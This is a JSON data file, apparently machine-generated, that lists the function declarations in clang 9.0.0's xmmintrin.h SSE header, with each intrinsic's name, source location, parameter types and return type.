{ "tag": "function", "name": "_mm_cmpneq_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:719:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cmpnlt_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:743:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cmpnlt_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:763:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cmpnle_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:788:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cmpnle_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:808:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cmpngt_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:833:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cmpngt_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:855:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cmpnge_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:880:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cmpnge_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:902:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cmpord_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:927:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cmpord_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:947:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cmpunord_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:972:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cmpunord_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:992:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_comieq_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1016:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "_mm_comilt_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1041:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "_mm_comile_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1065:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "_mm_comigt_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1089:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "_mm_comige_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1113:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "_mm_comineq_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1137:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "_mm_ucomieq_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1161:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "_mm_ucomilt_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1185:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "_mm_ucomile_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1210:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "_mm_ucomigt_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1235:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "_mm_ucomige_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1260:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "_mm_ucomineq_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1284:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "_mm_cvtss_si32", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1302:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "_mm_cvt_ss2si", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1320:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "_mm_cvtss_si64", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1340:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }], "return-type": { "tag": ":long-long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "function", "name": "_mm_cvtps_pi32", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1358:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m64" } },
{ "tag": "function", "name": "_mm_cvt_ps2pi", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1374:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m64" } },
{ "tag": "function", "name": "_mm_cvttss_si32", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1393:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "_mm_cvtt_ss2si", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1412:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "_mm_cvttss_si64", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1432:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }], "return-type": { "tag": ":long-long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "function", "name": "_mm_cvttps_pi32", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1451:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m64" } },
{ "tag": "function", "name": "_mm_cvtt_ps2pi", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1468:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m64" } },
{ "tag": "function", "name": "_mm_cvtsi32_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1490:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cvt_si2ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1513:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cvtsi64_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1537:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": ":long-long", "bit-size": 64, "bit-alignment": 64 } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cvtpi32_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1563:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m64" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cvt_pi2ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1586:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m64" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cvtss_f32", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1603:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }], "return-type": { "tag": ":float", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "_mm_loadh_pi", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1624:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__p", "type": { "tag": ":pointer", "type": { "tag": "__m64" } } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_loadl_pi", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1651:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__p", "type": { "tag": ":pointer", "type": { "tag": "__m64" } } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_load_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1678:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__p", "type": { "tag": ":pointer", "type": { "tag": ":float", "bit-size": 32, "bit-alignment": 32 } } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_load1_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1700:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__p", "type": { "tag": ":pointer", "type": { "tag": ":float", "bit-size": 32, "bit-alignment": 32 } } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_load_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1723:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__p", "type": { "tag": ":pointer", "type": { "tag": ":float", "bit-size": 32, "bit-alignment": 32 } } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_loadu_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1740:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__p", "type": { "tag": ":pointer", "type": { "tag": ":float", "bit-size": 32, "bit-alignment": 32 } } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_loadr_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1762:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__p", "type": { "tag": ":pointer", "type": { "tag": ":float", "bit-size": 32, "bit-alignment": 32 } } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_undefined_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1776:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_set_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1796:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__w", "type": { "tag": ":float", "bit-size": 32, "bit-alignment": 32 } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_set1_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1814:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__w", "type": { "tag": ":float", "bit-size": 32, "bit-alignment": 32 } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_set_ps1", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1833:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__w", "type": { "tag": ":float", "bit-size": 32, "bit-alignment": 32 } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_set_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1860:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__z", "type": { "tag": ":float", "bit-size": 32, "bit-alignment": 32 } }, { "tag": "parameter", "name": "__y", "type": { "tag": ":float", "bit-size": 32, "bit-alignment": 32 } }, { "tag": "parameter", "name": "__x", "type": { "tag": ":float", "bit-size": 32, "bit-alignment": 32 } }, { "tag": "parameter", "name": "__w", "type": { "tag": ":float", "bit-size": 32, "bit-alignment": 32 } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_setr_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1888:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__z", "type": { "tag": ":float", "bit-size": 32, "bit-alignment": 32 } }, { "tag": "parameter", "name": "__y", "type": { "tag": ":float", "bit-size": 32, "bit-alignment": 32 } }, { "tag": "parameter", "name": "__x", "type": { "tag": ":float", "bit-size": 32, "bit-alignment": 32 } }, { "tag": "parameter", "name": "__w", "type": { "tag": ":float", "bit-size": 32, "bit-alignment": 32 } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_setzero_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1903:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_storeh_pi", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1920:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__p", "type": { "tag": ":pointer", "type": { "tag": "__m64" } } }, { "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "_mm_storel_pi", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1941:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__p", "type": { "tag": ":pointer", "type": { "tag": "__m64" } } }, { "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "_mm_store_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1962:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__p", "type": { "tag": ":pointer", "type": { "tag": ":float", "bit-size": 32, "bit-alignment": 32 } } }, { "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "_mm_storeu_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:1983:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__p", "type": { "tag": ":pointer", "type": { "tag": ":float", "bit-size": 32, "bit-alignment": 32 } } }, { "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "_mm_store_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2004:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__p", "type": { "tag": ":pointer", "type": { "tag": ":float", "bit-size": 32, "bit-alignment": 32 } } }, { "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "_mm_store1_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2023:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__p", "type": { "tag": ":pointer", "type": { "tag": ":float", "bit-size": 32, "bit-alignment": 32 } } }, { "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "_mm_store_ps1", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2043:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__p", "type": { "tag": ":pointer", "type": { "tag": ":float", "bit-size": 32, "bit-alignment": 32 } } }, { "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "_mm_storer_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2062:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__p", "type": { "tag": ":pointer", "type": { "tag": ":float", "bit-size": 32, "bit-alignment": 32 } } }, { "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "_mm_stream_pi", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2120:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__p", "type": { "tag": ":pointer", "type": { "tag": "__m64" } } }, { "tag": "parameter", "name": "__a", "type": { "tag": "__m64" } }], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "_mm_stream_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2139:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__p", "type": { "tag": ":pointer", "type": { "tag": ":float", "bit-size": 32, "bit-alignment": 32 } } }, { "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "_mm_sfence", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2157:6", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "_mm_max_pi16", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2231:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m64" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m64" } }], "return-type": { "tag": "__m64" } },
{ "tag": "function", "name": "_mm_max_pu8", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2250:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m64" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m64" } }], "return-type": { "tag": "__m64" } },
{ "tag": "function", "name": "_mm_min_pi16", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2269:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m64" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m64" } }], "return-type": { "tag": "__m64" } },
{ "tag": "function", "name": "_mm_min_pu8", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2288:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m64" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m64" } }], "return-type": { "tag": "__m64" } },
{ "tag": "function", "name": "_mm_movemask_pi8", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2306:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m64" } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "_mm_mulhi_pu16", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2325:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m64" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m64" } }], "return-type": { "tag": "__m64" } },
{ "tag": "function", "name": "_mm_maskmove_si64", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2388:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__d", "type": { "tag": "__m64" } }, { "tag": "parameter", "name": "__n", "type": { "tag": "__m64" } }, { "tag": "parameter", "name": "__p", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "_mm_avg_pu8", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2407:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m64" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m64" } }], "return-type": { "tag": "__m64" } },
{ "tag": "function", "name": "_mm_avg_pu16", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2426:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m64" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m64" } }], "return-type": { "tag": "__m64" } },
{ "tag": "function", "name": "_mm_sad_pu8", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2448:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m64" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m64" } }], "return-type": { "tag": "__m64" } },
{ "tag": "function", "name": "_mm_getcsr", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2507:14", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":unsigned-int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "_mm_setcsr", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2561:6", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "__i", "type": { "tag": ":unsigned-int", "bit-size": 32, "bit-alignment": 32 } }], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "_mm_unpackhi_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2624:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_unpacklo_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2646:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
